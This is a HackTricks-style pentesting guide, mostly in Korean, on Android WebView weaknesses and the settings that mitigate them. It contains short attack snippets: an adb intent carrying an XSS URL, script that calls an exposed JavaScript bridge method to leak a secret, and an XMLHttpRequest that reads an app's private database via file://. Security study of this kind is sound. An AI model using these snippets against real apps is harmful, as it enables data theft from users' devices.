Webview Attacks
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Android 개발의 중요한 측면은 WebViews의 올바른 처리입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 구성 및 보안 관행을 강조합니다.
File Access in WebViews
기본적으로 WebViews는 파일 접근을 허용합니다. 이 기능은 Android API 레벨 3(Cupcake 1.5)부터 사용 가능한 setAllowFileAccess()
메서드에 의해 제어됩니다. android.permission.READ_EXTERNAL_STORAGE 권한이 있는 애플리케이션은 파일 URL 스킴(file://path/to/file
)을 사용하여 외부 저장소에서 파일을 읽을 수 있습니다.
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: 이 사용 중단된 기능은 파일 URL에서 교차 출처 요청을 허용하여 잠재적인 XSS 공격으로 인한 상당한 보안 위험을 초래했습니다. 기본 설정은 Android Jelly Bean 및 이후 버전을 대상으로 하는 앱에 대해 비활성화(
false
)되어 있습니다. - 이 설정을 확인하려면
getAllowUniversalAccessFromFileURLs()
를 사용하십시오. - 이 설정을 수정하려면
setAllowUniversalAccessFromFileURLs(boolean)
를 사용하십시오. - File Access From File URLs: 이 기능도 사용 중단되었으며, 다른 파일 스킴 URL에서 콘텐츠에 대한 접근을 제어했습니다. 유니버설 접근과 마찬가지로 기본값은 보안을 강화하기 위해 비활성화되어 있습니다.
- 확인하려면
getAllowFileAccessFromFileURLs()
를 사용하고, 설정하려면setAllowFileAccessFromFileURLs(boolean)
를 사용하십시오.
Secure File Loading
자산 및 리소스에 접근하면서 파일 시스템 접근을 비활성화하려면 setAllowFileAccess()
메서드를 사용합니다. Android R 이상에서는 기본 설정이 false
입니다.
getAllowFileAccess()
로 확인하십시오.setAllowFileAccess(boolean)
로 활성화 또는 비활성화하십시오.
WebViewAssetLoader
WebViewAssetLoader 클래스는 로컬 파일을 로드하기 위한 현대적인 접근 방식입니다. 이는 로컬 자산 및 리소스에 접근하기 위해 http(s) URL을 사용하며, 동일 출처 정책에 맞춰 CORS 관리를 용이하게 합니다.
loadUrl
이것은 웹뷰에서 임의의 URL을 로드하는 데 사용되는 일반적인 함수입니다:
webview.loadUrl("<url here>")
물론, 잠재적인 공격자는 애플리케이션이 로드할 URL을 절대 제어할 수 없어야 합니다.
JavaScript 및 Intent 스킴 처리
- JavaScript: WebViews에서 기본적으로 비활성화되어 있으며,
setJavaScriptEnabled()
를 통해 활성화할 수 있습니다. 적절한 안전 장치 없이 JavaScript를 활성화하면 보안 취약점이 발생할 수 있으므로 주의가 필요합니다. - Intent 스킴: WebViews는
intent
스킴을 처리할 수 있으며, 신중하게 관리하지 않으면 악용될 수 있습니다. 한 예로, "support_url"이라는 노출된 WebView 매개변수가 XSS 공격을 실행하는 데 악용될 수 있는 취약점이 있었습니다.
adb를 사용한 악용 예:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android는 JavaScript가 WebView에서 네이티브 Android 앱 기능을 호출할 수 있도록 하는 기능을 제공합니다. 이는 addJavascriptInterface
메서드를 활용하여 JavaScript와 네이티브 Android 기능을 통합함으로써 이루어지며, 이를 _WebView JavaScript bridge_라고 합니다. 이 메서드는 WebView 내의 모든 페이지가 등록된 JavaScript Interface 객체에 접근할 수 있도록 하므로, 이러한 인터페이스를 통해 민감한 정보가 노출될 경우 보안 위험이 발생할 수 있으므로 주의가 필요합니다.
- Extreme caution is required for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
Implementing a JavaScript Bridge
- JavaScript interfaces can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge는 WebView에 인터페이스를 추가하여 활성화됩니다:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- JavaScript를 통한 잠재적 악용, 예를 들어 XSS 공격을 통해 노출된 Java 메서드를 호출할 수 있습니다:
<script>
alert(javascriptBridge.getSecret())
</script>
- 위험을 완화하기 위해, JavaScript 브리지 사용을 APK와 함께 제공된 코드로 제한하고 원격 소스에서 JavaScript 로딩을 방지하십시오. 구형 장치의 경우 최소 API 수준을 17로 설정하십시오.
반사 기반 원격 코드 실행 (RCE)
- 문서화된 방법은 특정 페이로드를 실행하여 RCE를 달성할 수 있게 합니다. 그러나
@JavascriptInterface
주석은 무단 메서드 접근을 방지하여 공격 표면을 제한합니다.
원격 디버깅
- 원격 디버깅은 Chrome 개발자 도구를 사용하여 가능하며, WebView 콘텐츠 내에서 상호작용 및 임의의 JavaScript 실행을 가능하게 합니다.
원격 디버깅 활성화
- 원격 디버깅은 애플리케이션 내의 모든 WebView에 대해 활성화할 수 있습니다:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 애플리케이션의 디버깅 가능 상태에 따라 조건부로 디버깅을 활성화하려면:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
임의 파일 유출
- XMLHttpRequest를 사용하여 임의 파일의 유출을 시연합니다:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
참고문헌
- https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
- https://github.com/authenticationfailure/WheresMyBrowser.Android
- https://developer.android.com/reference/android/webkit/WebView
- https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1
- https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.